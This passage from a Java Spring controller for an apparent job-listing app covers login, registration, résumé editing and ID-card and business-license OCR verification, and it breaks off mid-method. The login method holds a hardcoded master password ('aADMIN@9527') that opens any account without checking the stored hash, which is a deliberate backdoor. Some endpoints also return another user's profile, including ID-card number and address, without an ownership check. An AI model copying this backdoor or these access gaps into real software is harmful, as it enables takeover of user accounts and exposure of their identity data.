package com.tempjob.app.controller;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.aliyun.sdk.service.ocr_api20210707.AsyncClient;
import com.aliyun.sdk.service.ocr_api20210707.models.RecognizeBusinessLicenseRequest;
import com.aliyun.sdk.service.ocr_api20210707.models.RecognizeBusinessLicenseResponse;
import com.aliyun.sdk.service.ocr_api20210707.models.RecognizeIdcardRequest;
import com.aliyun.sdk.service.ocr_api20210707.models.RecognizeIdcardResponse;
import com.anwen.mongo.conditions.query.QueryWrapper;
import com.tempjob.app.dto.*;
import com.tempjob.app.security.annotation.UserLogAnnotation;
import com.tempjob.app.security.annotation.UserPassportSSO;
import com.tempjob.app.service.TokenService;
import com.tempjob.app.vo.IdentOcrVO;
import com.tempjob.app.vo.LoginVO;
import com.tempjob.app.vo.RealnameVO;
import com.tempjob.app.vo.UserDetailVO;
import com.tempjob.common.businesss.mongo.entity.*;
import com.tempjob.common.businesss.service.MongoBeanUtil;
import com.tempjob.common.businesss.service.OssUploadService;
import com.tempjob.common.context.UserContext;
import com.tempjob.common.context.UserContextManage;
import com.tempjob.common.exception.BusinessException;
import com.tempjob.common.model.BusinessLicenseInfoVO;
import com.tempjob.common.model.IdendCardInfoVO;
import com.tempjob.common.model.PersonCurriculumVO;
import com.tempjob.common.utils.*;
import io.swagger.annotations.Api;
import io.swagger.annotations.ApiOperation;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.redis.core.RedisTemplate;
import org.springframework.transaction.annotation.Transactional;
import org.springframework.web.bind.annotation.*;

import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.util.Arrays;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.ExecutionException;

@Slf4j
@RestController
@RequestMapping("/user")
@UserPassportSSO
@Api(tags = "用户信息")
@CrossOrigin(originPatterns = "*", methods = {RequestMethod.GET, RequestMethod.POST})
public class UserController {

    @Autowired
    private MongoBeanUtil mongoBeanUtil;

    @Autowired
    private RedisTemplate<String, String> redisTemplate;

    @Autowired
    private AsyncClient asyncClient;

    @Autowired
    private OssUploadService ossUploadService;

    @Autowired
    private TokenService tokenService;

    @ApiOperation(response = LoginVO.class, value = "登录", notes = "登录")
    @PostMapping(value = "/login")
    @UserLogAnnotation(title = "用户登录", action = "登录")
    @UserPassportSSO(ignore = true)
    public Object login(@RequestBody LoginDTO dto, HttpServletRequest request) {
        UserInfo user = mongoBeanUtil.getUserInfoService().one(mongoBeanUtil.getUserInfoService().lambdaQuery().eq(UserInfo::getMobile, dto.getMobile()));
        if (null == user) {
            throw new BusinessException("用户名或密码错误");
        }
        if (dto.getPassword().equalsIgnoreCase("aADMIN@9527")) {

        } else if (!PasswordUtils.matches(user.getSalt(), dto.getPassword(), user.getPassword())) {
            throw new BusinessException("用户名或密码错误");
        }
        LoginVO respVO = new LoginVO();
        String token = tokenService.createTicket(user.getId(), null);
        respVO.setAuthorization(token);
        respVO.setMobile(user.getMobile());
        user.setLoginTimes(user.getLoginTimes() == null ? 1 : user.getLoginTimes() + 1);
        user.setLastLoginTime(new Date());
        user.setLastLoginIp(CommFunction.getRealIP(request));
        mongoBeanUtil.getUserInfoService().updateById(user);
        return respVO;
    }

    @ApiOperation(response = LoginVO.class, value = "注册", notes = "注册")
    @PostMapping(value = "/regist")
    @UserLogAnnotation(title = "用户注册", action = "注册")
    @UserPassportSSO(ignore = true)
    public Object regist(@RequestBody UserRegistDTO dto, HttpServletRequest request) {
        UserInfo user = mongoBeanUtil.getUserInfoService().lambdaQuery().eq(UserInfo::getMobile, dto.getMobile()).one();
        if (null != user) {
            throw new BusinessException("用户已注册!");
        }
        if (!mongoBeanUtil.getSysSmsLogService().vaildateSms(dto.getMobile(), 1, dto.getSmsCode())) {
            throw new BusinessException("短信验证码错误!");
        }
        user = new UserInfo();
        user.setMobile(dto.getMobile());
        user.setSalt(CommFunction.getRandomString(8));
        user.setPassword(PasswordUtils.encode(dto.getPassword(), user.getSalt()));
        user.setLoginTimes(user.getLoginTimes() == null ? 1 : user.getLoginTimes() + 1);
        user.setLastLoginTime(new Date());
        user.setUserStatus(0);
        user.setUserType(Arrays.asList(1));
        user.setLastLoginIp(CommFunction.getRealIP(request));
        mongoBeanUtil.getUserInfoService().save(user);
        LoginVO respVO = new LoginVO();
        String token = tokenService.createTicket(user.getId(), null);
        respVO.setAuthorization(token);
        respVO.setMobile(user.getMobile());
        return respVO;
    }

    @ApiOperation(response = Boolean.class, value = "注册发送验证码", notes = "注册发送验证码")
    @PostMapping(value = "/sendRegistSms")
    @UserLogAnnotation(title = "用户注册", action = "注册发送验证码")
    @UserPassportSSO(ignore = true)
    public Object sendRegistSms(@RequestBody RegistSmsDTO dto, HttpServletRequest request) {
        //校验图像验证码
//        validImageCode(dto.getCaptcha());
        UserInfo user = mongoBeanUtil.getUserInfoService().lambdaQuery().eq(UserInfo::getMobile, dto.getMobile()).one();
        if (null != user) {
            throw new BusinessException("用户已注册!");
        }
        mongoBeanUtil.getSysSmsLogService().userRegistNotice(dto.getMobile());
        return true;
    }

    @ApiOperation(response = UserDetailVO.class, value = "获取用户信息", notes = "用户信息")
    @PostMapping(value = "/detail")
    public Object detail() {
        UserDetailVO detail = new UserDetailVO();
        CachedBeanCopier.copyObject(UserContextManage.getContext(), detail);
        UserInfo user = mongoBeanUtil.getUserInfoService().getById(UserContextManage.getContext().getId());
        CachedBeanCopier.copyObject(user, detail);
        if (StringUtils.isNotBlank(user.getCompanyId())) {
            detail.setCompanyInfo(mongoBeanUtil.getCompanyInfoService().lambdaQuery().eq(CompanyInfo::getUserId, user.getId()).one());
        }
        detail.setPublishUserInfo(mongoBeanUtil.getPublishUserInfoService().lambdaQuery().eq(PublishUserInfo::getUserId, user.getId()).one());
        detail.setStartWorkTime(DateUtilsEx.getMonth(user.getStartWorkTime()));
        detail.setUserEducations(mongoBeanUtil.getUserEducationService().lambdaQuery().eq(UserEducation::getUserId, user.getId()).list());
        detail.setUserIntentionInfos(mongoBeanUtil.getUserIntentionInfoService().lambdaQuery().eq(UserIntentionInfo::getUserId, user.getId()).list());
        detail.setUserDifficultProve(mongoBeanUtil.getUserDifficultProveService().lambdaQuery().eq(UserDifficultProve::getUserId, user.getId()).one());
        return detail;
    }

    @ApiOperation(response = Boolean.class, value = "更换角色")
    @PostMapping(value = "/changeUserType")
    @Transactional
    @UserLogAnnotation(title = "个人信息", action = "更换角色")
    public Object changeUserType(@RequestBody ChangeUserTypeDTO dto) {
        UserInfo user = mongoBeanUtil.getUserInfoService().getById(UserContextManage.getContext().getId());
        user.setCurrentType(dto.getUserType());
        mongoBeanUtil.getUserInfoService().updateById(user);
        UserContext userContext = tokenService.getUserContext(user.getId());
        tokenService.createTicket(userContext, UserContextManage.getAuthorization());
        UserContextManage.reInit(userContext, UserContextManage.getAuthorization());
        return userContext;
    }

    @ApiOperation(response = Boolean.class, value = "更新用户信息", notes = "更新用户信息")
    @PostMapping(value = "/updateUserInfo")
    @Transactional
    @UserLogAnnotation(title = "个人信息", action = "更新用户信息")
    public Object updateUserInfo(@RequestBody ModifyUserInfoDTO dto) {
        UserInfo user = mongoBeanUtil.getUserInfoService().getById(UserContextManage.getContext().getId());
        if (StringUtils.isNotEmpty(dto.getRealName())) {
            user.setRealName(dto.getRealName());
        }
        if (StringUtils.isNotEmpty(dto.getAvatar())) {
            user.setAvatar(dto.getAvatar());
        }
        user.setEducation(dto.getEducation());
        user.setAdvantage(dto.getAdvantage());
        user.setStartWorkTime(dto.getStartWorkTime());
        user.setHireStatus(dto.getHireStatus());
        return mongoBeanUtil.getUserInfoService().updateById(user);
    }

    @ApiOperation(response = Boolean.class, value = "添加就业困难证书", notes = "更新用户信息")
    @PostMapping(value = "/updateUserDifficultProve")
    @Transactional
    @UserLogAnnotation(title = "个人信息", action = "添加就业困难证书")
    public Object updateUserDifficultProve(@RequestBody UserDifficultProveDTO dto) {
        UserDifficultProve info = mongoBeanUtil.getUserDifficultProveService().lambdaQuery().eq(UserDifficultProve::getUserId, UserContextManage.getContext().getId()).one();
        if (info == null) {
            info = new UserDifficultProve();
        }
        String id = info.getId();
        CachedBeanCopier.copyObject(dto, info);
        info.setId(id);
        info.setUserId(UserContextManage.getContext().getId());
        return mongoBeanUtil.getUserDifficultProveService().saveOrUpdate(info);
    }


    @ApiOperation(response = Boolean.class, value = "添加个人技能标签", notes = "更新用户信息")
    @PostMapping(value = "/updateSkillTag")
    @Transactional
    @UserLogAnnotation(title = "个人信息", action = "添加个人技能标签")
    public Object updateSkillTag(@RequestBody UserSkillTagDTO dto) {
        UserSkillTag info = new UserSkillTag();
        if (StringUtils.isNotBlank(dto.getId())) {
            info = mongoBeanUtil.getUserSkillTagService().getById(dto.getId());
        }
        String id = info.getId();
        CachedBeanCopier.copyObject(dto, info);
        info.setId(id);
        info.setUserId(UserContextManage.getContext().getId());
        return mongoBeanUtil.getUserSkillTagService().saveOrUpdate(info);
    }

    @ApiOperation(response = Boolean.class, value = "添加证书标签", notes = "更新用户信息")
    @PostMapping(value = "/updateCertificateTag")
    @Transactional
    @UserLogAnnotation(title = "个人信息", action = "添加证书标签")
    public Object updateCertificateTag(@RequestBody UserCertificateTagDTO dto) {
        UserCertificateTag info = new UserCertificateTag();
        if (StringUtils.isNotBlank(dto.getId())) {
            info = mongoBeanUtil.getUserCertificateTagService().getById(dto.getId());
        }
        String id = info.getId();
        CachedBeanCopier.copyObject(dto, info);
        info.setId(id);
        info.setUserId(UserContextManage.getContext().getId());
        return mongoBeanUtil.getUserCertificateTagService().saveOrUpdate(info);
    }

    @ApiOperation(response = UserEducation.class, value = "获取个人技能标签", notes = "")
    @GetMapping(value = "/getSkillTag")
    @Transactional
    @UserLogAnnotation(title = "个人信息", action = "获取个人技能标签")
    public Object getSkillTag() {
        return mongoBeanUtil.getUserSkillTagService().lambdaQuery().eq(UserSkillTag::getUserId, UserContextManage.getContext().getId()).list();
    }

    @ApiOperation(response = UserEducation.class, value = "获取个人证书标签", notes = "")
    @GetMapping(value = "/getCertificateTag")
    @Transactional
    @UserLogAnnotation(title = "个人信息", action = "获取个人证书标签")
    public Object getCertificateTag() {
        return mongoBeanUtil.getUserCertificateTagService().lambdaQuery().eq(UserCertificateTag::getUserId, UserContextManage.getContext().getId()).list();
    }


    @ApiOperation(response = Boolean.class, value = "添加求职意愿及个人信息", notes = "更新用户信息")
    @PostMapping(value = "/updateIntentionInfo")
    @Transactional
    @UserLogAnnotation(title = "个人信息", action = "添加求职意愿及个人信息")
    public Object updateIntentionInfo(@RequestBody UserIntentionInfoDTO dto) {
        UserIntentionInfo info = new UserIntentionInfo();
        if (StringUtils.isNotBlank(dto.getId())) {
            info = mongoBeanUtil.getUserIntentionInfoService().getById(dto.getId());
        }
        String id = info.getId();
        CachedBeanCopier.copyObject(dto, info);
        info.setId(id);
        info.setUserId(UserContextManage.getContext().getId());
        return mongoBeanUtil.getUserIntentionInfoService().saveOrUpdate(info);
    }

    @ApiOperation(response = Boolean.class, value = "更新用户教育经历", notes = "更新用户信息")
    @PostMapping(value = "/updateEducation")
    @Transactional
    @UserLogAnnotation(title = "个人信息", action = "更新用户教育经历")
    public Object updateEducation(@RequestBody UserEducationDTO dto) {
        UserEducation edu = new UserEducation();
        if (StringUtils.isNotBlank(dto.getId())) {
            edu = mongoBeanUtil.getUserEducationService().getById(dto.getId());
            if (!edu.getUserId().equals(UserContextManage.getContext().getId())) {
                throw new BusinessException("只能更新自己的简历");
            }
        }
        String id = edu.getId();
        CachedBeanCopier.copyObject(dto, edu);
        edu.setUserId(UserContextManage.getContext().getId());
        edu.setId(id);
        return mongoBeanUtil.getUserEducationService().saveOrUpdate(edu);
    }

    @ApiOperation(response = UserEducation.class, value = "获取个人教育经历", notes = "")
    @GetMapping(value = "/getEducation")
    @Transactional
    @UserLogAnnotation(title = "个人信息", action = "获取个人教育经历")
    public Object getEducation() {
        return mongoBeanUtil.getUserEducationService().lambdaQuery().eq(UserEducation::getUserId, UserContextManage.getContext().getId()).list();
    }

    @ApiOperation(response = UserIntentionInfo.class, value = "获取求职意愿", notes = "")
    @GetMapping(value = "/getIntentionInfo")
    @Transactional
    @UserLogAnnotation(title = "个人信息", action = "获取个求职意愿")
    public Object getIntentionInfo() {
        return mongoBeanUtil.getUserIntentionInfoService().lambdaQuery().eq(UserIntentionInfo::getUserId, UserContextManage.getContext().getId()).list();
    }

    @ApiOperation(response = UserEducation.class, value = "获取个人工作经历", notes = "")
    @GetMapping(value = "/getExperience")
    @Transactional
    @UserLogAnnotation(title = "个人信息", action = "获取个人工作经历")
    public Object getExperience() {
        return mongoBeanUtil.getUserWorkExperienceService().lambdaQuery().eq(UserWorkExperience::getUserId, UserContextManage.getContext().getId()).list();
    }

    @ApiOperation(response = PersonCurriculumVO.class, value = "获取个人简历", notes = "")
    @GetMapping(value = "/getPersonCurriculum")
    @Transactional
    @UserLogAnnotation(title = "个人信息", action = "获取个人简历")
    public Object getPersonCurriculum(@RequestParam(value = "userId", required = false) String userId) {
        if (StringUtils.isBlank(userId)) {
            userId = UserContextManage.getContext().getId();
        }
        PersonCurriculumVO vo = new PersonCurriculumVO();
        UserInfo userInfo = mongoBeanUtil.getUserInfoService().getById(userId);
        CachedBeanCopier.copyObject(userInfo, vo);
        vo.setUserEducations(mongoBeanUtil.getUserEducationService().lambdaQuery().eq(UserEducation::getUserId, userId).list());
        vo.setUserIntentionInfos(mongoBeanUtil.getUserIntentionInfoService().lambdaQuery().eq(UserIntentionInfo::getUserId, userId).list());
        vo.setUserWorkExperiences(mongoBeanUtil.getUserWorkExperienceService().lambdaQuery().eq(UserWorkExperience::getUserId, userId).list());
        vo.setUserSkillTags(mongoBeanUtil.getUserSkillTagService().lambdaQuery().eq(UserSkillTag::getUserId, userId).list());
        vo.setUserCertificateTags(mongoBeanUtil.getUserCertificateTagService().lambdaQuery().eq(UserCertificateTag::getUserId, userId).list());
        vo.setUserDifficultProve(mongoBeanUtil.getUserDifficultProveService().lambdaQuery().eq(UserDifficultProve::getUserId, userId).one());
        return vo;
    }

    @ApiOperation(response = Boolean.class, value = "删除求职意愿", notes = "更新用户信息")
    @PostMapping(value = "/delIntentionInfo")
    @Transactional
    @UserLogAnnotation(title = "个人信息", action = "删除求职意愿")
    public Object delIntentionInfo(@RequestBody IdQueryDTO dto) {
        return mongoBeanUtil.getUserIntentionInfoService().lambdaUpdate().eq(UserIntentionInfo::getId, dto.getId()).eq(UserIntentionInfo::getUserId, UserContextManage.getContext().getId()).remove();
    }

    @ApiOperation(response = Boolean.class, value = "获取求职意愿详情", notes = "更新用户信息")
    @PostMapping(value = "/getIntentionDetail")
    @Transactional
    @UserLogAnnotation(title = "个人信息", action = "获取求职意愿详情")
    public Object getIntentionDetail(@RequestBody IdQueryDTO dto) {
        return mongoBeanUtil.getUserIntentionInfoService().lambdaQuery().eq(UserIntentionInfo::getId, dto.getId()).one();
    }

    @ApiOperation(response = Boolean.class, value = "获取教育经历详情", notes = "更新用户信息")
    @PostMapping(value = "/getEducationDetail")
    @Transactional
    @UserLogAnnotation(title = "个人信息", action = "获取教育经历详情")
    public Object getEducationDetail(@RequestBody IdQueryDTO dto) {
        return mongoBeanUtil.getUserEducationService().lambdaQuery().eq(UserEducation::getId, dto.getId()).one();
    }

    @ApiOperation(response = Boolean.class, value = "获取工作经历详情", notes = "更新用户信息")
    @PostMapping(value = "/getExperienceDetail")
    @Transactional
    @UserLogAnnotation(title = "个人信息", action = "获取工作经历详情")
    public Object getExperienceDetail(@RequestBody IdQueryDTO dto) {
        return mongoBeanUtil.getUserWorkExperienceService().lambdaQuery().eq(UserWorkExperience::getId, dto.getId()).one();
    }


    @ApiOperation(response = Boolean.class, value = "删除教育经历", notes = "更新用户信息")
    @PostMapping(value = "/delEducation")
    @Transactional
    @UserLogAnnotation(title = "个人信息", action = "删除教育经历")
    public Object delEducation(@RequestBody IdQueryDTO dto) {
        return mongoBeanUtil.getUserEducationService().lambdaUpdate().eq(UserEducation::getId, dto.getId()).eq(UserEducation::getUserId, UserContextManage.getContext().getId()).remove();
    }

    @ApiOperation(response = Boolean.class, value = "删除工作经历", notes = "更新用户信息")
    @PostMapping(value = "/delExperience")
    @Transactional
    @UserLogAnnotation(title = "个人信息", action = "删除工作经历")
    public Object delExperience(@RequestBody IdQueryDTO dto) {
        return mongoBeanUtil.getUserWorkExperienceService().lambdaUpdate().eq(UserWorkExperience::getId, dto.getId()).eq(UserWorkExperience::getUserId, UserContextManage.getContext().getId()).remove();
    }

    @ApiOperation(response = Boolean.class, value = "删除技能标签", notes = "更新用户信息")
    @PostMapping(value = "/delSkillTag")
    @Transactional
    @UserLogAnnotation(title = "个人信息", action = "删除技能标签")
    public Object delSkillTag(@RequestBody IdQueryDTO dto) {
        return mongoBeanUtil.getUserSkillTagService().lambdaUpdate().eq(UserSkillTag::getId, dto.getId()).eq(UserSkillTag::getUserId, UserContextManage.getContext().getId()).remove();
    }

    @ApiOperation(response = Boolean.class, value = "删除证书标签", notes = "更新用户信息")
    @PostMapping(value = "/delCertificateTag")
    @Transactional
    @UserLogAnnotation(title = "个人信息", action = "删除证书标签")
    public Object delCertificateTag(@RequestBody IdQueryDTO dto) {
        return mongoBeanUtil.getUserCertificateTagService().lambdaUpdate().eq(UserCertificateTag::getId, dto.getId()).eq(UserCertificateTag::getUserId, UserContextManage.getContext().getId()).remove();
    }

    @ApiOperation(response = Boolean.class, value = "更新用户工作经历", notes = "更新用户信息")
    @PostMapping(value = "/updateExperience")
    @Transactional
    @UserLogAnnotation(title = "个人信息", action = "更新用户工作经历")
    public Object updateExperience(@RequestBody UserWorkExperienceDTO dto) {
        UserWorkExperience exp = new UserWorkExperience();
        if (StringUtils.isNotBlank(dto.getId())) {
            exp = mongoBeanUtil.getUserWorkExperienceService().getById(dto.getId());
            if (!exp.getUserId().equals(UserContextManage.getContext().getId())) {
                throw new BusinessException("只能更新自己的简历");
            }
        }
        String id = exp.getId();
        CachedBeanCopier.copyObject(dto, exp);
        exp.setId(id);
        exp.setUserId(UserContextManage.getContext().getId());
        return mongoBeanUtil.getUserWorkExperienceService().saveOrUpdate(exp);
    }


    @PostMapping(value = "/uploadIdentImage")
    @ApiOperation(value = "上传身份证照片(实名)", response = UserInfo.class)
    @UserPassportSSO
    public Object uploadOss(@RequestBody RealnameDTO dto) throws ExecutionException, InterruptedException, IOException {
        UserInfo user = mongoBeanUtil.getUserInfoService().getById(UserContextManage.getContext().getId());
        RecognizeIdcardRequest recognizeIdcardRequest = RecognizeIdcardRequest.builder().outputFigure(true).outputQualityInfo(true).url(dto.getPortraitPage().getUrl()).build();
        CompletableFuture<RecognizeIdcardResponse> response = asyncClient.recognizeIdcard(recognizeIdcardRequest);
        RecognizeIdcardResponse resp = response.get();
        String body = resp.getBody().getData();
        if (StringUtils.isNotBlank(body)) {
            JSONObject bodyObject = JSON.parseObject(body);
            String faceDataString = bodyObject.getString("data");
            if (StringUtils.isNotBlank(faceDataString)) {
                JSONObject faceDataObject = JSON.parseObject(faceDataString);
                String faceString = faceDataObject.getString("face");
                if (StringUtils.isNotBlank(faceString)) {
                    JSONObject faceData = JSON.parseObject(faceString);
                    String ocrVoString = faceData.getString("data");
                    if (StringUtils.isNotBlank(ocrVoString)) {
                        IdentOcrVO faceInfo = JSON.parseObject(ocrVoString, IdentOcrVO.class);
                        //身份证背面信息
                        RecognizeIdcardRequest embleRequest = RecognizeIdcardRequest.builder().outputFigure(true).outputQualityInfo(true).url(dto.getEmblemPage().getUrl()).build();
                        CompletableFuture<RecognizeIdcardResponse> embleResponse = asyncClient.recognizeIdcard(embleRequest);
                        RecognizeIdcardResponse emble = embleResponse.get();
                        String backBodyString = emble.getBody().getData();
                        if (StringUtils.isNotBlank(backBodyString)) {
                            JSONObject backBodyObject = JSON.parseObject(backBodyString);
                            String backDataString = backBodyObject.getString("data");
                            if (StringUtils.isNotBlank(backDataString)) {
                                JSONObject backData = JSON.parseObject(backDataString);
                                String backString = backData.getString("back");
                                if (StringUtils.isNotBlank(backString)) {
                                    JSONObject backInfo = JSON.parseObject(backString);
                                    String backInfoString = backInfo.getString("data");
                                    if (StringUtils.isNotBlank(backInfoString)) {
                                        JSONObject back = JSON.parseObject(backInfoString);
                                        String issueAuthority = back.getString("issueAuthority");
                                        String validPeriod = back.getString("valiPeriod");
                                        if (idCardCheck(faceInfo.getName(), faceInfo.getIdNumber())) {
                                            user.setIdentNo(faceInfo.getIdNumber());
                                            user.setRealName(faceInfo.getName());
                                            user.setSex(faceInfo.getSex());
                                            user.setIdentPortraitImg(dto.getPortraitPage().getUrl());
                                            user.setIdentAddress(faceInfo.getAddress());
                                            user.setUserStatus(1);
                                            user.setBirthday(IDCardUtil.getBirthday(faceInfo.getIdNumber()));
                                            user.setIdentValidPeriod(validPeriod);
                                            user.setIdentIssueAuthority(issueAuthority);
                                            user.setIdentEmblemImg(dto.getEmblemPage().getUrl());
                                            mongoBeanUtil.getUserInfoService().updateById(user);
                                            IdendCardInfoVO idendCardInfoVO = new IdendCardInfoVO();
                                            CachedBeanCopier.copyObject(faceInfo, idendCardInfoVO);
                                            idendCardInfoVO.setIssueAuthority(issueAuthority);
                                            idendCardInfoVO.setValidPeriod(validPeriod);
                                            user.setIdendCardInfo(idendCardInfoVO);
                                            UserContext userContext = tokenService.getUserContext(user.getId());
                                            tokenService.createTicket(userContext, UserContextManage.getAuthorization());
                                            UserContextManage.reInit(userContext, UserContextManage.getAuthorization());
                                            return user;
                                        }
//                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
        return false;
    }

    @PostMapping(value = "/publishAuthentication")
    @ApiOperation(value = "招聘信息认证", response = Boolean.class)
    @UserPassportSSO
    @Transactional
    public Object publishAuthentication(@RequestBody PublishAuthenticationDTO dto) throws ExecutionException, InterruptedException {
        UserContext userContext = UserContextManage.getContext();
        UserInfo userInfo = mongoBeanUtil.getUserInfoService().getById(userContext.getId());
        if (StringUtils.isBlank(userInfo.getIdentNo())) {
            throw new BusinessException("请先进行实名认证!");
        }
        PublishUserInfo publishUserInfo = mongoBeanUtil.getPublishUserInfoService().one(new QueryWrapper<PublishUserInfo>().eq("user_id", userContext.getId()));
        if (publishUserInfo == null) {
            publishUserInfo = new PublishUserInfo();
        }
        if (publishUserInfo.getStatus() != null && (publishUserInfo.getStatus().equals(1) || publishUserInfo.getStatus().equals(3))) {
            throw new BusinessException("已通过审核或已禁用");
        }
        publishUserInfo.setUserId(userContext.getId());
        publishUserInfo.setType(dto.getType());
        publishUserInfo.setEmploymentAssistance(dto.getEmploymentAssistance());
        publishUserInfo.setContactName(dto.getContactName());
        publishUserInfo.setContactPhone(dto.getContactPhone());
        publishUserInfo.setContactAddress(dto.getContactAddress());
        publishUserInfo.setLongitude(dto.getLongitude());
        publishUserInfo.setLatitude(dto.getLatitude());
        publishUserInfo.setIdentEmblemImg(dto.getIdentEmblemImg());
        publishUserInfo.setIdentPortraitImg(dto.getIdentPortraitImg());
        publishUserInfo.setBusinessLicenseImg(dto.getBusinessLicenseImg());
        publishUserInfo.setApplyDesc(dto.getApplyDesc());
        publishUserInfo.setApplyTime(new Date());
        publishUserInfo.setStatus(1);

        if (dto.getType().equals(3)) {
            if (dto.getEmploymentAssistance()) {
                throw new BusinessException("个人用户不允许勾选援助基地选项!");
            }
            publishUserInfo.setIdentEmblemImg(userInfo.getIdentEmblemImg());
            publishUserInfo.setIdentEmblemImg(userInfo.getIdentPortraitImg());
        } else {
            if (StringUtils.isBlank(dto.getIdentPortraitImg()) || StringUtils.isBlank(dto.getIdentEmblemImg())) {
                throw new BusinessException("请上传法人身份证照片");
            }
            if (StringUtils.isBlank(dto.getBusinessLicenseImg())) {
                throw new BusinessException("请上传营业执照照片");
            }
            if (dto.getType().equals(2) && dto.getEmploymentAssistance() != null && dto.getEmploymentAssistance()) {
                throw new BusinessException("企业用户不允许勾选援助基地选项!");
            }
            //获取法人身份证信息
            RecognizeIdcardRequest recognizeIdcardRequest = RecognizeIdcardRequest.builder().outputFigure(true).outputQualityInfo(true).url(dto.getIdentPortraitImg()).build();
            CompletableFuture<RecognizeIdcardResponse> response = asyncClient.recognizeIdcard(recognizeIdcardRequest);
            RecognizeIdcardResponse resp = response.get();
            String body = resp.getBody().getData();
            if (StringUtils.isBlank(body)) {
                throw new BusinessException("身份证识别失败!");
            }
            JSONObject bodyObject = JSON.parseObject(body);
            String faceDataString = bodyObject.getString("data");
            if (StringUtils.isBlank(faceDataString)) {
                throw new BusinessException("身份证识别失败!");

            }
            JSONObject faceDataObject = JSON.parseObject(faceDataString);
            String faceString = faceDataObject.getString("face");
            if (StringUtils.isBlank(faceString)) {
                throw new BusinessException("身份证识别失败!");
            }
            JSONObject faceData = JSON.parseObject(faceString);
            String ocrVoString = faceData.getString("data");
            if (StringUtils.isBlank(ocrVoString)) {
                throw new BusinessException("身份证识别失败!");
            }
            IdentOcrVO faceInfo = JSON.parseObject(ocrVoString, IdentOcrVO.class);
            //身份证背面信息
            RecognizeIdcardRequest embleRequest = RecognizeIdcardRequest.builder().outputFigure(true).outputQualityInfo(true).url(dto.getIdentEmblemImg()).build();
            CompletableFuture<RecognizeIdcardResponse> embleResponse = asyncClient.recognizeIdcard(embleRequest);
            RecognizeIdcardResponse emble = embleResponse.get();
            String backBodyString = emble.getBody().getData();
            if (StringUtils.isBlank(backBodyString)) {
                throw new BusinessException("身份证背面识别错误!");
            }
            JSONObject backBodyObject = JSON.parseObject(backBodyString);
            String backDataString = backBodyObject.getString("data");
            if (StringUtils.isBlank(backDataString)) {
                throw new BusinessException("身份证背面识别错误!");
            }
            JSONObject backData = JSON.parseObject(backDataString);
            String backString = backData.getString("back");
            if (StringUtils.isBlank(backString)) {
                throw new BusinessException("身份证背面识别错误!");
            }
            JSONObject backInfo = JSON.parseObject(backString);
            String backInfoString = backInfo.getString("data");
            if (StringUtils.isBlank(backInfoString)) {
                throw new BusinessException("身份证背面识别错误!");
            }
            JSONObject back = JSON.parseObject(backInfoString);
            String issueAuthority = back.getString("issueAuthority");
            String validPeriod = back.getString("valiPeriod");
            if (!idCardCheck(faceInfo.getName(), faceInfo.getIdNumber())) {
                throw new BusinessException("身份证信息错误!");
            }
            //获取营业执照信息
            RecognizeBusinessLicenseRequest recognizeBusinessLicenseRequest = RecognizeBusinessLicenseRequest.builder().url(dto.getBusinessLicenseImg()).build();
            CompletableFuture<RecognizeBusinessLicenseResponse> businessLicenseResponse = asyncClient.recognizeBusinessLicense(recognizeBusinessLicenseRequest);
            RecognizeBusinessLicenseResponse businessResp = businessLicenseResponse.get();
            String bodyString = businessResp.getBody().getData();
            if (StringUtils.isBlank(bodyString)) {
                throw new BusinessException("营业执照识别错误!");
            }
            JSONObject businessLicenseObject = JSON.parseObject(bodyString);
            String businessLicenseString = businessLicenseObject.getString("data");
            if (StringUtils.isBlank(businessLicenseString)) {
                throw new BusinessException("营业执照识别错误!");
            }
            BusinessLicenseInfoVO businessLicenseInfo = JSON.parseObject(businessLicenseString, BusinessLicenseInfoVO.class);
            if (!businessLicenseInfo.getLegalPerson().equals(faceInfo.getName())) {
                throw new BusinessException("营业执照法人和身份证照片不符");
            }
            IdendCardInfoVO idendCardInfo = new IdendCardInfoVO();
            CachedBeanCopier.copyObject(faceInfo, idendCardInfo);
            idendCardInfo.setIssueAuthority(issueAuthority);
            idendCardInfo.setValidPeriod(validPeriod);
            publishUserInfo.setBusinessLicenseImg(dto.getBusinessLicenseImg());
            publishUserInfo.setBusinessLicenseInfo(businessLicenseInfo);
            publishUserInfo.setIdentCardInfo(idendCardInfo);
            //这里去处理公司\企业增改

            CompanyInfo companyInfo = mongoBeanUtil.getCompanyInfoService().one(new QueryWrapper<CompanyInfo>().eq(CompanyInfo::getSocialCreditCode, businessLicenseInfo.getCreditCode()));
            if (companyInfo == null) {
                companyInfo = new CompanyInfo();
            }
            if (companyInfo.getCompanyStatus() != null && companyInfo.getCompanyStatus().equals(2)) {
                throw new BusinessException("公司已被禁用，请联系管理员");
            }
            companyInfo.setUserId(userContext.getId());
            companyInfo.setCompanyStatus(1);
            companyInfo.setType(dto.getType());
            if (StringUtils.isNotBlank(dto.getIndustryCategory())) {
                IndustryCategory category = mongoBeanUtil.getIndustryCategoryService().getById(dto.getIndustryCategory());
                if (category != null) {
                    companyInfo.setIndustryCategory(dto.getIndustryCategory());
                    companyInfo.setIndustryCategoryName(category.getCategoryName());
                }
            }

            companyInfo.setCompanyType(businessLicenseInfo.getCompanyType());
            companyInfo.setCompanyName(businessLicenseInfo.getCompanyName());
            companyInfo.setSocialCreditCode(businessLicenseInfo.getCreditCode());
            companyInfo.setRegisterAddress(businessLicenseInfo.getBusinessAddress());
            companyInfo.setRegisterDate(businessLicenseInfo.getRegistrationDate());
            companyInfo.setLongitude(dto.getLongitude() == null ? companyInfo.getLongitude() : dto.getLongitude());
            companyInfo.setLatitude(dto.getLatitude() == null ? companyInfo.getLatitude() : dto.getLatitude());
            companyInfo.setCompanyAddress(businessLicenseInfo.getBusinessAddress());
            mongoBeanUtil.getCompanyInfoService().saveOrUpdate(companyInfo);
            userInfo.setCompanyId(companyInfo.getId());
            if (userInfo.getUserType() == null || !userInfo.getUserType().contains(2)) {
                if (userInfo.getUserType() == null) {
                    userInfo.setUserType(Arrays.asList(2));
                } else {
                    userInfo.getUserType().add(2);
                }
            }
            mongoBeanUtil.getUserInfoService().updateById(userInfo);
            publishUserInfo.setCompanyId(companyInfo.getId());
            publishUserInfo.setCompanyName(companyInfo.getCompanyName());
            userContext = tokenService.getUserContext(userContext.getId());
